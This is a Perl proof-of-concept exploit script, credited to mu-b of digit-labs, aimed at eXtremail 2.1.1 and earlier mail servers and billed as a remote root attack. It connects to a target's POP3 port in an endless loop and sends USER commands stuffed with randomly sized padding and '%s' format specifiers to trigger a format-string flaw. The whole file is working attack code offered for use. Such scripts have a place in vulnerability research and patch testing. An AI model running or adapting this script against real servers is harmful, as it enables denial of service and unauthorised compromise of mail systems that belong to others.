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#!/usr/bin/perl
#
# extremail-v3.pl
#
# Copyright (c) 2006 by <mu-b@digit-labs.org>
#
# eXtremail <=2.1.1 remote root POC (x86-lnx)
# by mu-b - Fri Oct 06 2006
#
# Tested on: eXtremail 2.1.1 (lnx)
# eXtremail 2.1.0 (lnx)
#
# - Private Source Code -DO NOT DISTRIBUTE -
# http://www.digit-labs.org/ -- Digit-Labs 2006!@$!
########
use Getopt::Std; getopts('t:n:u:p:', \%arg);
use Socket;
&print_header;
my $target;
if (defined($arg{'t'})) { $target = $arg{'t'} }
if (!(defined($target))) { &usage; }
my $pop3_port = 110;
my $send_delay = 1;
my $NOP = 'A';
srand(time());
while (1) {
if (connect_host($target, $pop3_port)) {
# [0,50) -> [1,50]
$max_len = int(rand(50) + 1);
# [0, $max_len * 0.75) -> [0, ($max_len * 0x75) - 1]
$pad1_len = int(rand($max_len * 0.75));
# [0, ($max_len - $pad1_len)/2) -> [1, ($max_len - $pad1_len)/2]
$pad2_len = int(rand(($max_len - $pad1_len)/length("%s")) + 1);
$pad3_len = $max_len - $pad1_len - ($pad2_len * length("%s"));
$buf = "USER ".
($NOP x $pad1_len).
("%s" x $pad2_len).
($NOP x $pad3_len).
"\n";
print("-> * Sending: $max_len $pad1_len $pad2_len $pad3_len ".$buf);
send(SOCKET, $buf, 0);
sleep($send_delay);
close(SOCKET);
}
}
sub print_header {
print("eXtremail <=2.1.1 remote root POC (x86-lnx)\n");
print("by: <mu-b\@digit-labs.org>\n");
print("http://www.digit-labs.org/ -- Digit-Labs 2007!@$!\n\n");
}
sub usage {
print(qq(Usage: $0 -t <hostname>
-t <hostname> : hostname to test
));
exit(1);
}
sub connect_host {
($target, $port) = @_;
$iaddr = inet_aton($target) || die("Error: $!\n");
$paddr = sockaddr_in($port, $iaddr) || die("Error: $!\n");
$proto = getprotobyname('tcp') || die("Error: $!\n");
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
connect(SOCKET, $paddr) || die("Error: $!\n");
return(1338);
}
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